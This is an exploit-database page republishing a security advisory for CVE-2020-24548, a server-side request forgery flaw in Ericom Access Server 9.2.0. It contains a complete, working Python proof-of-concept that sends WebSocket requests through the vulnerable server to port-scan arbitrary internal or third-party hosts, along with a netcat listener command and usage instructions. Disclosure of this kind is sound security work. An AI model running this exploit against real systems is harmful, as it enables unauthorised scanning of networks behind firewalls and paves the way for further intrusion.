0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ericom Access Server 9.2.0 Server-Side Request Forgery Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/ERICOM-ACCESS-SERVER-ACCESS-NOW-BLAZE-9.2.0-SERVER-SIDE-REQUEST-FORGERY.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.ericom.com [Product] Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0 AccessNow is an HTML5 remote desktop gateway that works from any device with an HTML5 compatible browser, including from Chromebooks and locked down devices. Ericom Blaze provides remote desktop connectivity from Mac, Windows and Linux devices to applications on office / home PCs and virtual desktops (VDI). [Vulnerability Type] Server Side Request Forgery [CVE Reference] CVE-2020-24548 [Security Issue] Ericom Access Server allows attackers to initiate SSRF requests making outbound connections to arbitrary hosts and TCP ports. Attackers, who can reach the AccessNow server can target internal systems that are behind firewalls that are typically not accessible. This can also be used to target third-party systems from the AccessNow server itself. The AccessNow server will return an attacker friendly response, exfiltrating which ports are listening for connections. This can bypass Firewall rules and undermine the integrity of other systems and security controls in place. E.g. listen using Netcat, Nc64.exe -llvp 25 A) Ericom Server 192.168.88.152 (defaults port 8080) B) Attacker 192.168.88.162 C) Victim 192.168.1.104 Using Wireshark we can observe A sends a SYN packet to C (port 25) C sends SYN/ACK to A A sends ACK to C. A sends ACK/FIN to C port 25. We will then get an AccessNow server response similar to below. ["C","M",["Cannot connect to '192.168.1.104:25'.",true]] This message indicates we cannot connect and helpfully informs us of closed vs open ports. [Affected Component] Ericom Server port 8080 will forward connections to arbitrary Hosts and or Ports which are sent using Web-Socket requests. Ericom server then replies with a "Cannot connect to" message if a port is in a closed state. [Attack Vectors] Remote attackers can abuse the Ericom Access Server to conduct port scans on arbitrary systems. This is possible due to a server side request forgery vulnerability and using a remote TCP socket program. [Impact Information Disclosure] true [CVE Impact Other] Exfiltration of open ports [Exploit/POC] import sys,ssl import websocket ##pip install websocket-client #Required #By hyp3rlinx #ApparitionSec #======================================================== #Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF #======================================================== BANNER=""" ______ _____ | ____| / ____| | |__ _ __ _ __ ___ _ __| | ___ _ __ ___ | __| | '__| '__/ _ \| '__| | / _ \| '_ ` _ \ | |____| | | | | (_) | | | |___| (_) | | | | | | |______|_| |_| \___/|_| \_____\___/|_| |_| |_| SSRF Exploit """ def ErrorCom(vs,vp,t,p): try: ws = websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+":"+p, sslopt={'cert_reqs': ssl.CERT_NONE}) ws.send("SSRF4U!") result = ws.recv() #print(result) if result.find("Cannot connect to")==-1: print("[+] Port "+p+" is open for business :)") else: print("[!] Port " + p+ " is closed :(") ws.close() except Exception as e: print(str(e)) if __name__=="__main__": if len(sys.argv) != 5: print(BANNER) print("[+] Ericom Access Server v9.2.0 - SSRF Exploit - CVE-2020-24548") print("[+] By Hyp3rlinX / ApparitionSec") print("[!] Usage: <vuln-server>,<port (usually 8080)>,<target>,<port-to-scan>") exit() if len(sys.argv[4]) > 5: print("[!] Port out of range") exit() print(BANNER) ErrorCom(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4]) [PoC Video URL] https://www.youtube.com/watch?v=oDTd-yRxVJ0 # 0day.today [2024-12-25] #